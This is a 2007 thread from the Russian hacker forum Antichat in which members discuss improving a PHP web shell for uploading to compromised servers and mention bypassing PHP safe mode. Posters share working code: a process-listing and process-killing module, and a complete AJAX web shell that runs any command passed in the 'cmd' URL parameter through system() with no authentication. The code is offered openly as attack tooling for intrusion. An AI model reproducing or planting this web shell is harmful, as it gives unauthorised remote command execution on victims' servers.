Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

12.04.2007, 01:37
|
|
IQ- 137%
Регистрация: 15.06.2004
Сообщений: 441
Провел на форуме: 1212666
Репутация:
662
|
|
Ком не притензий по поводу кода не предьявлять.Так как этот шелл уже давно ушол в чужие правила.ТОбиш вон те ошибки про сет тайм лимит даже не мои.А времени им заниматься нету.Но возможно выдет версия стейбл.Там плнируеться технология ajax и все в ООП. Половина написана а вот дальше писать времени щас нету..Так что посмотрим во что он превратиться пока от вас))
__________________
|
|
|

12.04.2007, 07:32
|
|
Флудер
Регистрация: 20.11.2006
Сообщений: 3,316
Провел на форуме: 16641028
Репутация:
2371
|
|
Вот думаю....зачем вообще нужно ООП и аякс в каком-то шелле? 
Ведь самое главное залить шелл, важности не имеет какой он......главное что бы было самое главное....А сам нам аякс?Блин...кода кода много =)
|
|
|

12.04.2007, 10:39
|
|
наркоман с медалью
Регистрация: 07.05.2005
Сообщений: 3,704
Провел на форуме: 19975136
Репутация:
4536
|
|
Вот думаю....зачем вообще нужно ООП и аякс в каком-то шелле
+100
|
|
|

12.04.2007, 15:20
|
|
Постоянный
Регистрация: 22.04.2006
Сообщений: 566
Провел на форуме: 1325772
Репутация:
517
|
|
не согласен. аякс создан для создания удобного интерфейса. объем шелла не проблема, у меня есть отличный лоадер в 17 строчек. сам аякс пока использую только в командере шеллами. и не говорите, что глупо и ни к чему.
для рядового шелла нет смысла делать. для центральной админки - еще какой.
ЗЫ эксперементировал с админкой через виндовую консоль (аля интерфейс текстовый). если интересно, покажу наработки.
|
|
|

13.04.2007, 00:24
|
|
Новичок
Регистрация: 21.03.2006
Сообщений: 17
Провел на форуме: 41988
Репутация:
7
|
|
я помню как то энтот шелл нашел на каком то забугорном серванте , думаю чо за нах , секретная разработка думал , аказалось он давно в релизе , просто я его пропустил и поэтому думал что это типа нулль от ачата , а так по идее переделанный phpremview. за дизайен питЁрку ставлю , а за тулзы реализованные -всем хакирам тож питерку . и так думаю веб программерам нужно уже научить скрипт обходить сейф морд ... с ним большинство напрягов бывает .
|
|
|

04.06.2007, 07:24
|
|
Флудер
Регистрация: 20.11.2006
Сообщений: 3,316
Провел на форуме: 16641028
Репутация:
2371
|
|
|
|
|

30.06.2007, 16:55
|
|
Постоянный
Регистрация: 19.06.2007
Сообщений: 315
Провел на форуме: 1174546
Репутация:
326
|
|
Shell норм но предлагаю добавить [ Process list ]
echo "<b>[ Процессы в системе ]</b><br>";
echo "<br>";
if ($pid)
{
if (!$sig) {$sig = 9;}
echo "Отправление команды ".$sig." to #".$pid."... ";
$ret = posix_kill($pid,$sig);
if ($ret) {echo "Процесс убит !";}
else {echo "ОШИБКА! ".htmlspecialchars($sig).", в процессе #".htmlspecialchars($pid).".";}
}
$ret = `ps -aux`;
if (!$ret) {echo "<font color=#800000>Невозможно отобразить список процессов!</font>";}
else
{
$ret = htmlspecialchars($ret);
while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);}
$stack = explode("\n",$ret);
$head = explode(" ",$stack[0]);
unset($stack[0]);
if (empty($ps_aux_sort)) {$ps_aux_sort = $sort_default;}
if (!is_numeric($ps_aux_sort[0])) {$ps_aux_sort[0] = 0;}
$k = $ps_aux_sort[0];
$prcs = array();
foreach ($stack as $line)
{
if (!empty($line))
{
echo "<tr>";
$line = explode(" ",$line);
$line[10] = join(" ",array_slice($line,10,count($line)));
$line = array_slice($line,0,11);
$prcs[] = $line;
echo "</tr>";
}
}
$head[$k] = "<b>".$head[$k]."</b>".$y;
$v = $ps_aux_sort[0];
if ($ps_aux_sort[1] == "d") {$prcs = array_reverse($prcs);}
$tab = array();
$tab[] = $head;
$tab = array_merge($tab,$prcs);
echo "<TABLE height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=white borderColorLight=#c0c0c0 border=1 bordercolor=\"#C0C0C0\">";
foreach($tab as $k)
{
echo "<tr>";
foreach($k as $v) {echo "<td>".$v."</td>";}
echo "</tr>";
}
echo "</table>";
}
|
|
|

04.07.2007, 18:51
|
|
Постоянный
Регистрация: 19.06.2007
Сообщений: 315
Провел на форуме: 1174546
Репутация:
326
|
|
Предлагаю сделать еще небольшое дополнения :
выполнения шелл команд можно сделать на Ajax будут немного больше весить на 2 кб
но зато намного удобней выполнять команды !
Вот мой листинг на Ajax :
<?php
if (!empty($_GET['cmd']))system($_GET['cmd']);
else {
?>
<html><head><title>AJAX Shell</title>
<script type="text/javascript" language="javascript">
var CommHis=new Array();
var HisP;
function doReq(_1,_2,_3){var HR=false;
if(window.XMLHttpRequest){HR=new XMLHttpRequest();
if(HR.overrideMimeType){HR.overrideMimeType("text/xml");}}
else{if(window.ActiveXObject){
try{HR=new ActiveXObject("Msxml2.XMLHTTP");}
catch(e){try{HR=new ActiveXObject("Microsoft.XMLHTTP");}
catch(e){}}}}
if(!HR){return false;}
HR.onreadystatechange=function(){if(HR.readyState= =4){
if(HR.status==200){if(_3){eval(_2+"(HR.responseXML )");}
else{eval(_2+"(HR.responseText)");}}}};
HR.open("GET",_1,true);HR.send(null);}
function pR(rS){var _6=document.getElementById("outt");
var _7=rS.split("\n\n");
var _8=document.getElementById("cmd").value;
_6.appendChild(document.createTextNode(_8));
_6.appendChild(document.createElement("br"));
for(var _9 in _7){var _a=document.createElement("pre");
_a.style.display="inline";
line=document.createTextNode(_7[_9]);
_a.appendChild(line);_6.appendChild(_a);
_6.appendChild(document.createElement("br"));}
_6.appendChild(document.createTextNode("[ Shell ]:"));
_6.scrollTop=_6.scrollHeight;
document.getElementById("cmd").value="";}
function keyE(_b){switch(_b.keyCode){
case 13:
var _c=document.getElementById("cmd").value;
if(_c){CommHis[CommHis.length]=_c;
HisP=CommHis.length;
var _d=document.location.href+"?cmd="+escape(_c);
doReq(_d,"pR");}
break;
case 38:
if(HisP>0){HisP--;
document.getElementById("cmd").value=CommHis[HisP];}
break;
case 40:
if(HisP<CommHis.length-1){HisP++;
document.getElementById("cmd").value=CommHis[HisP];}
break;
default:
break;}}
</script></head><body style="font-family:courier" bgcolor=#333333>
<form onsubmit="return false" style="color:#3F0;background:#000;position:relativ e">
<div id="outt" style="overflow:auto;padding:5px;height:90%">[ Shell ]:</div>
<input onkeyup="keyE(event)" style="color:#FFF;background:#333;width:100%" id="cmd" type="text" />
</form></body></html>
<?php } ?>
|
|
|

04.07.2007, 20:16
|
|
Флудер
Регистрация: 20.11.2006
Сообщений: 3,316
Провел на форуме: 16641028
Репутация:
2371
|
|
Вставлю в шелл, посмотрим что выйдет..
|
|
|

06.07.2007, 17:31
|
|
Участник форума
Регистрация: 04.07.2007
Сообщений: 111
Провел на форуме: 486797
Репутация:
102
|
|
Класный апдейт - мне понравился! Валялась раньше версия постарее - теперь получше
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|